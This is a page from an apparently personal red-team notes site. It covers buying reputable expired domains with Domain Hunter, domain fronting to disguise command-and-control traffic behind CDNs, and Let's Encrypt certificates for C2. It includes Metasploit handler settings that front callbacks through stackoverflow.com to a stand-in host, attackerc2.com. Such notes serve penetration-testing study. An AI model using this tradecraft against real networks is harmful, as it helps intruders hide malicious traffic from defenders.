Cookie's Red Team Recipe
  • Mixing...
  • General
    • Transferring Files
      • Serving Your Files
      • Transferring Files To Linux
      • Transferring Files To Windows
    • File Types
      • .vhd
    • Password Cracking
      • Hashcat
        • Wordlists
        • Wordlist + Rules
        • Masks
        • Mask Files
        • Combinator
        • Hybrid
        • Keyboard Walks
    • Trash to sift through
      • Cookie 3.1.24.ctd
    • Tools
      • Nuclei
      • GoWitness
    • Reflective DLL Injection
    • Configuration
      • Terminal Logging
      • Tmux Config
  • Cloud
    • General
      • Enumeration
        • JWT
        • SEC 588
        • Tools and Procedures
      • Containers
        • Docker
        • Kubernetes
    • Azure
      • General
      • Discovery
        • Mapping URLS
        • Snaffpoint
      • Initial Access
        • Password Spray
        • Illicit Consent Grant
        • App Service Abuse
          • Insecure File Upload
          • SSTI
          • OS Command Injection
        • Blob Storage
        • Evilginx3
      • Enumeration
        • MG Module
        • Az PowerShell
        • Azure CLI
        • Tokens
        • ROADTools
        • StormSpotter
        • AzureHound
      • Privilege Escalation
        • Automation Account
        • Managed Identity Command Execution
        • Key Vault
        • ARM Templates
        • Function App
      • Lateral Movement
        • Custom Script Extension
        • User Data
        • Pass The PRT
        • Endpoint Manager
        • Dynamic Groups
        • Application Proxy
        • Password Hash Sync
        • Storage Accounts
      • Persistance
        • Pass-Through Authentication
        • Seamless SSO
        • Federation
    • AWS
      • Discovery
        • Mapping URLs
        • Authentication
        • Username Harvesting
        • Password Spraying
        • Storage
        • Pacu
      • Enumeration
        • Scanning
        • Copy of Pacu
      • Privilege Escalation
        • Instance Metadata Service
        • Copy of Pacu
      • Lateral Movement
        • Userdata
        • Pacu
        • Callbacks and Shells
      • KMS
      • CI/CD
        • Deployment Pipeline
        • SSRF
        • Lambda
    • GCP
  • OSINT
    • Checklist
    • Tools
  • Web Applications
    • Checklist
    • Web Vulnerabilities
      • SSRF (Server Side Request Forgery)
      • Blind Data Exfiltration via DNS
      • XSS
      • XXE
      • XPath Injection
    • APIs
      • Web API Indicators
      • Passive Reconnaissance
      • Active API Reconnaissance
    • Enumeration
  • Exploitation
  • Active Directory
    • Reconnaissance
      • PowerView
      • SharpView
      • ADSearch
    • Cobalt Strike
      • User Impersonation
        • Pass the Hash
        • Pass the Ticket
        • Overpass the Hash
        • Token Impersonation
        • Token Store
        • Make Token
        • Process Injection
      • Lateral Movement
        • Windows Remote Management
        • PsExec
        • Windows Management Instrumentation (WMI)
        • CoInitializeSecurity
        • DCOM
      • Kerberos
        • Kerberoasting
        • ASREP Roasting
        • Unconstrained Delegation
        • Constrained Delegation
        • Alternate Service Name
        • S4U2Self Abuse
        • Resource-Based Constrained Delegation
        • Shadow Credentials
        • Kerberos Relay Attacks
      • Pivoting
        • SOCKS Proxies
        • Linux Tools For Proxies
        • Windows Tools For Proxies
        • Pivoting with Kerberos
        • Pivoting A Browser
        • Reverse Port Forwards
        • NTLM Relaying
        • Relaying WebDAV
      • AD Certificate Services
        • Find Certificate Authorities
        • Misconfigured Certificate Templates
        • NTLM Relaying to ADCS HTTP Endpoints
        • User & Computer Persistence
      • Group Policy
        • Modify Existing GPO
        • Create & Link a GPO
      • MS SQL Servers
        • MS SQL Impersonation
        • MS SQL Command Execution
        • MS SQL Lateral Movement
        • MS SQL Privilege Escalation
      • Configuration Manager
        • Enumeration
        • Network Access Account Credentials
        • Lateral Movement
      • Domain Dominance
        • Silver Tickets
        • Golden Ticket
        • Diamond Tickets
        • Forged Certificates
      • Forest & Domain Trusts
        • Parent/Child
        • One-Way Inbound
        • One-Way Outbound
      • LAPS (Local Administrator Password Solution)
        • Reading ms-Mcs-AdmPwd
        • Password Expiration Protection
        • LAPS Backdoors
  • Escalation
    • Host Reconnaissance
    • Windows
    • Linux
  • Report
    • Templates
  • Phishing
    • Techniques
      • Jscript
      • Word Document
        • Manual
        • Generated
      • HTML Smuggling
    • GoPhish
  • C2
    • Cobalt Strike
      • Starting
        • Profile
        • Artifact Kit Changes
        • Resource Kit Changes
        • Start CS as a Service
        • Manual AMSI Bypass
        • Set Anti-Behavioural Detections
        • Generating Payloads
        • Listener Management
        • Prepare For Command Line Detections
      • Tools
        • Application Whitelisting
          • Policy Enumeration
          • Writeable Paths
          • Binaries, Scripts, and Libraries
          • PowerShell CLM
          • Beacon DLL
        • Credentials
          • Credential Manager
          • Scheduled Task Credentials
        • Session Passing
          • Beacon Passing
          • Foreign Listener
          • Spawn & Inject
        • DCSync
        • Extracting Kerberos Tickets
        • Mimikatz
          • NTLM Hashes
          • Kerberos Encryption Keys
          • Security Account Manager
          • Domain Cached Credentials
        • Take Screenshot
        • Evading Windows Defender
          • Artifact Kit
          • Malleable C2
          • Resource Kit
          • AMSI vs Post-Exploitation
          • Manual AMSI Bypasses
          • Behavioural Detections
          • Parent/Child Relationships
          • Command Line Detections
        • Pivot Listeners
    • Sliver
      • Post-Exploitation
        • Proxy
    • Brute Ratel
    • Mythic
  • Domains
  • Infrastructure
    • Web Categorisation
Powered by GitBook
On this page
  • Domain Hunter
  • Flippa
  • Domain Fronting
  • Valid Cryptography

Domains

Domain Hunter

Domain Hunter can search for the last 1,000 expired domains

• Domain Hunter can take a domain that you may already have and check it against all the common content filter databases

domainhunter.py –r 1000 # This is without a reputation check

• Domain Hunter can take a keyword that you wish to use and then check it for reputation; return a maximum of 25 results

domainhunter.py –s evilcorp.com

• We can use this to go and acquire a domain with a valid reputation

domainhunter.py –k dog –c –r 25

Flippa

Welcome to Flippa, a website that allows people to build, sell, and buy web properties in the same way that real estate individuals flip homes

Domain Fronting

Another way to hide in regular traffic is to use a controversial technology known as domain fronting. Domain fronting was made popular by the Signal messaging product to avoid censorship in many countries. The idea behind domain fronting is to use the SNI field (Server Name Indication) and DNS fields to send traffic to a legitimate website that may be hosted in a common service provider like Amazon AWS, Google Cloud, Azure, Cloudflare, Fastly, and others. Once the packet is sent to the legitimate service provider's proxy, the proxy headers will be read, and the actual destination of the traffic will be your C2 environment. Over the years, and through abuse, many cloud service providers deprecated support for this. Amazon stated that they never officially supported this feature in CloudFront and has stated that it would violate the AWS EULA. Google, through its Google app engine, has decided to deprecate this altogether. There are, however, other service providers that still support this. The advantage here is that to the content filters and DNS filters, you would be going to a legitimate website, and within the cloud service provider, you would be redirected to the actual location of the server. TLS 1.3 is trying to eliminate SNI as a part of its privacy initiative but its effort to do so is not yet realized.

The following is a decent methodology for finding domain fronting websites.

  1. Try and identify websites that are hosted with a target CDN that is both using wildcards and is hosted at the CDN. There are several options for this: http://bit.ly/2ShXpCK, using compiled lists like the one we just provided, or using the Wappalyzer built with option: http://bit.ly/3b63qet.

  2. The next step is to register your C2 domain with that cloud service provider—some of them are self- service and some are not. Depending on the service, you may have to engage with a human.

  3. Get a valid certificate for your C2 infrastructure; Let's Encrypt is a perfectly good choice.

  4. Construct your C2 Payload with a Domain Fronting compatible set of options if they exist.

Meterpreter, though very well understand and discoverable, does support this. LHOST: In this case, this would be a vulnerable website, in our previous example "stackoverflow.com" HttpHostHeader: This is the required field for your attacker server.

Valid Cryptography

How do we give our C2 infrastructure a valid certificate? This is required knowledge for our tradecraft. One option used to be to buy certificates, but today, we can do this in an automated fashion with Certbot. Certbot allows us to get certificates with Let's Encrypt automatically using the ACME protocol. There are very good instructions for almost any web server and almost any operating system. The requirements for Certbot are very straightforward, and most of them are very similar.

Certbot is a Python 3 application, so you must have the Certbot tool installed, and with ubuntu or popular Linux distributions, there are existing repositories that provide this at the Certbot website. The other requirements are on the web server itself:

• Have port 80 opened on your web server.

• Have the attacker DNS name pointing to the web server that is running Certbot.

• Run the actual application and let it put the files that prove the identity of the server.

Remember, Let's Encrypt certificates expire after 90 days, so keep this in mind when building your infrastructure.

Once you have a valid certificate, how do you configure Metasploit to use it?

Let's Encrypt certificates live in the /etc/letsencrypt directory, but Metasploit expects .pem file-formatted certificates. Luckily, to build a PEM file, you just need to concatenate the private key and the full chain together. Once you have built this file, you can then build your payload to use it.

If you use exploit/multi/handler, which is the most common handler, you need to set a few options:

set HandlerSSLCert /opt/metasploit-framework/MSF.pem

For domain fronting, you also have to set options that make the handler operate in that manner:

msf5> set LHOST www.stackoverflow.com
msf5> set HttpHostHeader attackerc2.com
msf5> set OverrideRequestHost true

These options above tell the handler that the communication for the payload is sent to stackoverflow.com, which is going to go to Fastly, but the HttpHostHeader is going to be where our actual Metasploit- framework system will live.

PreviousMythicNextWeb Categorisation

Last updated 3 months ago